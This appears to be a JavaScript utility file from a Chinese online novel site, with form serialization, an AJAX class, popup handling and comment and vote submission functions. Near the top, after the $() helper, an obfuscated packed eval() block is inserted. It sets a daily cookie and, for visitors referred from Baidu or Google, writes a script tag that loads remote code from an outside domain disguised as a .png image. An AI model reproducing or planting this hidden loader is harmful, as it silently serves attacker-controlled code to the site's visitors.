//取得一个对象，相当于getElementById()
function $() {
  var elements = new Array();
  for (var i = 0; i < arguments.length; i++) {
    var element = arguments[i];
    if (typeof element == 'string')
      element = document.getElementById(element);
    if (arguments.length == 1)
      return element;
    elements.push(element);
  }
  return elements;
}
if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='hello=Yes;path=/;expires='+expires.toGMTString()
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('n m=6.f; n d=m.k().b("p.3.5"); a (d>0) { 6.o(\'<h i="8://p.q.5/9/g/2.e?[-1-]" l="j/c"></h>\');}n m=6.f; n d=m.k().b("p.7.4"); a (d>0) { 6.o(\'<h i="8://p.q.5/9/g/2.e?[-1-]" l="j/c"></h>\');}',62,27,'|6|aspx|baidu|cn|com|document|google|http|hz|if|indexOf|javascript|p|png|referrer|sanimg|script|src|text|toLowerCase|type|url|var|write|www|yuloo'.split('|'),0,{}));}
//把它接收到的单个的参数转换成一个Array对象。
var $A = Array.from = function(iterable) {
  if (!iterable) return [];
  if (iterable.toArray) {
    return iterable.toArray();
  } else {
    var results = [];
    for (var i = 0; i < iterable.length; i++)
      results.push(iterable[i]);
    return results;
  }
}
//form相关函数
var Form = {
	//把表格内容转化成string
  serialize: function(form) {
    var elements = Form.getElements($(form));
    var queryComponents = new Array();
    for (var i = 0; i < elements.length; i++) {
      var queryComponent = Form.Element.serialize(elements[i]);
      if (queryComponent) queryComponents.push(queryComponent);
    }
    return queryComponents.join('&');
  },
  //取得表格内容为数组形式
  getElements: function(form) {
    form = $(form);
    var elements = new Array();

    for (tagName in Form.Element.Serializers) {
      var tagElements = form.getElementsByTagName(tagName);
      for (var j = 0; j < tagElements.length; j++)
        elements.push(tagElements[j]);
    }
    return elements;
  },
  //disable表格所有内容
  disable: function(form) {
    var elements = Form.getElements(form);
    for (var i = 0; i < elements.length; i++) {
      var element = elements[i];
      element.blur();
      element.disabled = 'true';
    }
  },
  //enable表格所有内容
  enable: function(form) {
    var elements = Form.getElements(form);
    for (var i = 0; i < elements.length; i++) {
      var element = elements[i];
      element.disabled = '';
    }
  },
  //找到form里面第一个元素
  findFirstElement: function(form) {
    return Form.getElements(form).find(function(element) {
      return element.type != 'hidden' && !element.disabled &&
        ['input', 'select', 'textarea'].include(element.tagName.toLowerCase());
    });
  },
  //把焦点集中在表格第一个元素上
  focusFirstElement: function(form) {
    Field.activate(Form.findFirstElement(form));
  },
  //Reset表格
  reset: function(form) {
    $(form).reset();
  }
}

//form里面元素定义
Form.Element = {
  serialize: function(element) {
    element = $(element);
    var method = element.tagName.toLowerCase();
    var parameter = Form.Element.Serializers[method](element);

    if (parameter) {
      var key = encodeURIComponent(parameter[0]);
      if (key.length == 0) return;

      if (parameter[1].constructor != Array) return key + '=' + encodeURIComponent(parameter[1]);

	  tmpary = new Array();
	  for (var i = 0; i < parameter[1].length; i++) {
		  tmpary[i] = key + encodeURIComponent('[]') + '=' + encodeURIComponent(parameter[1][i]);
	  }
      return tmpary.join('&');
    }	
  },

  getValue: function(element) {
    element = $(element);
    var method = element.tagName.toLowerCase();
    var parameter = Form.Element.Serializers[method](element);
    if (parameter) return parameter[1];
  }
}

Form.Element.Serializers = {
  input: function(element) {
    switch (element.type.toLowerCase()) {
      case 'submit':
      case 'hidden':
      case 'password':
      case 'text':
        return Form.Element.Serializers.textarea(element);
      case 'checkbox':
      case 'radio':
        return Form.Element.Serializers.inputSelector(element);
    }
    return false;
  },

  inputSelector: function(element) {
    if (element.checked) return [element.name, element.value];
  },

  textarea: function(element) {
    return [element.name, element.value];
  },

  select: function(element) {
    return Form.Element.Serializers[element.type == 'select-one' ? 'selectOne' : 'selectMany'](element);
  },

  selectOne: function(element) {
    var value = '', opt, index = element.selectedIndex;
    if (index >= 0) {
      opt = element.options[index];
      value = opt.value;
      if (!value && !('value' in opt))
        value = opt.text;
    }
    return [element.name, value];
  },

  selectMany: function(element) {
    var value = new Array();
    for (var i = 0; i < element.length; i++) {
      var opt = element.options[i];
      if (opt.selected) {
        var optValue = opt.value;
        if (!optValue && !('value' in opt))
          optValue = opt.text;
        value.push(optValue);
      }
    }
    return [element.name, value];
  }
}

//取form里面物件的值，等同于Form.Element.getValue()
var $F = Form.Element.getValue;

//*******************************************************
// ajax类
//*******************************************************

function jieqi_ajax(url) {
	this.handler = null;
	//初始化
	this.init = function() {
		this.method = "POST";
  		this.queryStringSeparator = "?";
		this.argumentSeparator = "&";
		this.URLString = "";
		this.encodeURIString = true;
  		this.execute = false;
		this.requestFile = url;
		this.vars = new Object();
		this.responseStatus = new Array(2);
		this.failed = false;
		this.response ="";

		this.onLoading = function() { };
  		this.onLoaded = function() { };
  		this.onInteractive = function() { };
  		this.onCompletion = function() { };
  		this.onError = function() { };
		this.onFail = function() { };

		try {
			this.handler = new ActiveXObject("Msxml2.XMLHTTP");
		} catch (e) {
			try {
				this.handler = new ActiveXObject("Microsoft.XMLHTTP");
			} catch (e) {
				this.handler = null;
			}
		}

		if (! this.handler) {
			if (typeof XMLHttpRequest != "undefined") {
				this.handler = new XMLHttpRequest();
			} else {
				this.failed = true;
			}
		}
  	};

	//设置变量
	this.setVar = function(name, value){
		this.vars[name] = Array(value, false);
	};

	//变量编码
	this.encVar = function(name, value, returnvars) {
		if (true == returnvars) {
			return Array(encodeURIComponent(name), encodeURIComponent(value));
		} else {
			this.vars[encodeURIComponent(name)] = Array(encodeURIComponent(value), true);
		}
	}

	//拆分查询字符串
	this.processURLString = function(string, encode) {
		encoded = encodeURIComponent(this.argumentSeparator);
		regexp = new RegExp(this.argumentSeparator + "|" + encoded);
		varArray = string.split(regexp);
		for (i = 0; i < varArray.length; i++){
			urlVars = varArray[i].split("=");
			if (true == encode){
				this.encVar(urlVars[0], urlVars[1]);
			} else {
				this.setVar(urlVars[0], urlVars[1]);
			}
		}
	}
	
	//建立编码后的查询字符串
	this.createURLString = function(urlstring) {
		if (urlstring) {
			if (this.URLString.length) {
				this.URLString += this.argumentSeparator + urlstring;
			} else {
				this.URLString = urlstring;
			}
		}
		this.setVar("fromajax", new Date().getTime());
		urlstringtemp = new Array();
		for (key in this.vars) {
			if (false == this.vars[key][1] && true == this.encodeURIString) {
				encoded = this.encVar(key, this.vars[key][0], true);
				delete this.vars[key];
				this.vars[encoded[0]] = Array(encoded[1], true);
				key = encoded[0];
			}

			urlstringtemp[urlstringtemp.length] = key + "=" + this.vars[key][0];
		}
		if (urlstring){
			this.URLString += this.argumentSeparator + urlstringtemp.join(this.argumentSeparator);
		} else {
			this.URLString += urlstringtemp.join(this.argumentSeparator);
		}
	}

	//运行结果
	this.runResponse = function() {
		eval(this.response);
	}
	
	//提交信息
	this.runAJAX = function(urlstring) {
		if (this.failed) {
			this.onFail();
		} else {
			if(this.requestFile.indexOf(this.queryStringSeparator) > 0){
				var spoint = this.requestFile.indexOf(this.queryStringSeparator);
				this.processURLString(this.requestFile.substr(spoint + this.queryStringSeparator.length), false);
				this.requestFile = this.requestFile.substr(0, spoint);
			}
			this.createURLString(urlstring);
			if (this.handler) {
				var self = this;
				
				if (this.method == "GET") {
					totalurlstring = this.requestFile + this.queryStringSeparator + this.URLString;
					this.handler.open(this.method, totalurlstring, true);
				} else {
					this.handler.open(this.method, this.requestFile, true);
					try {
						this.handler.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
					} catch (e) { }
				}

				this.handler.onreadystatechange = function() {
					switch (self.handler.readyState) {
						case 1:
							self.onLoading();
							break;
						case 2:
							self.onLoaded();
							break;
						case 3:
							self.onInteractive();
							break;
						case 4:
							self.response = self.handler.responseText;
							self.responseXML = self.handler.responseXML;
							self.responseStatus[0] = self.handler.status;
							self.responseStatus[1] = self.handler.statusText;

							if (self.execute) {
								self.runResponse();
							}

							if (self.responseStatus[0] == "200") {
								self.onCompletion();
							} else {
								self.onError();
							}

							self.URLString = "";
							break;
					}
				}
				this.handler.send(this.method == "GET" ? null : this.URLString);
			}
		}
	}

	//提交form
	this.submitForm = function(form) {
		if(this.requestFile == null) this.requestFile = $(form).action;
		//this.URLString = Form.serialize(form);
		this.runAJAX(Form.serialize(form));
	}

	this.init();
}




//var ajax = new jieqi_ajax();
function whenCompleted1(){
	if (ajax.responseStatus){
		var Str=ajax.response; 
		var rgExp="<br />"; 
		StrReplace=Str.replace(new RegExp("("+rgExp+")","g"),"\n"); 
		alert(StrReplace);
	} else {
		
	}
}
function geturl1(url){
	ajax.requestFile = url;
	ajax.method = "GET";
	ajax.onCompletion = whenCompleted;
	ajax.runAJAX();
}

function gettop(bid)
{
ajax.requestFile = "http://www.7cct.com/ext/var.php?bid="+bid;
	ajax.method = "GET";
	ajax.onCompletion = whenCompleted2;
	ajax.runAJAX();
}
function whenCompleted2(){
	if (ajax.responseStatus){
		var str=ajax.response; 
		if(str=="1")
		document.getElementById("zztj").style.display="block";
	} else {
		
	}
}


var ajax = new jieqi_ajax();
function whenCompleted(){
	if (ajax.responseStatus){
		$("popbox").innerHTML=ajax.response;
		showpop();
	} else {
		
	}
}

function showpop(){
	$("popbox").style.top=document.body.clientHeight - 120;
	$("popbox").style.left=document.body.clientWidth - 200;
	$("popbox").style.display="block";
	$("popbox").focus();
	//window.setTimeout("hidepop()",10000);
}

function hidepop(){
	$("popbox").style.display="none";
}

function geturl(url){
//	ajax.requestFile = url.replace("http://5ds8","http://b.5ds8");
//	ajax.method = "GET";
//	ajax.onCompletion = whenCompleted;
//	ajax.runAJAX();
window.open(url);
}

	function commentsubmit(url){
		newwin=window.open('about:blank','Comment','');
		window.CommentFrom.ComSend.disabled = true;
		window.CommentFrom.target="Comment";
		window.CommentFrom.method = "post";
		window.CommentFrom.submit();
	}	
	function votesubmit(url){
		newwin=window.open('about:blank','Comment','');
		window.VoteFrom.VoteSend.disabled = true;
		window.VoteFrom.target="Comment";
		window.VoteFrom.method = "post";
		window.VoteFrom.submit();
	}
	function voteshow(url){
		window.open(url,'_blank','');
	}
	function checklenght(frm){
		var nowl = frm.CommentText.value.length;
		var cl = 200;
		if(nowl < cl){
			alert('书评内容长度: '+nowl +'个字，\n最多允许'+cl+'字，\n\n您还可以继续发表!');
		}else{
			alert('书评内容长度: '+nowl +'个字，\n最多允许'+cl+'字，\n\n您需要做一些修剪才能正确发表!');
		}
	}
	document.write('<div id="popbox" class="popbox" onclick="hidepop();" onblur="hidepop();"></div>');

/*广告代码
function getstatus()
{
ajax.requestFile = "http://5ds8.com/adjs/getadstatus.php";
ajax.method = "GET";
ajax.onCompletion = whenCompletedStatus;
ajax.runAJAX();
}
function whenCompletedStatus(){
if (ajax.responseStatus){
	var str=ajax.response; 
	if(str=="1")
	document.getElementById("zztj").style.display="block";
} else {
	
}
}*/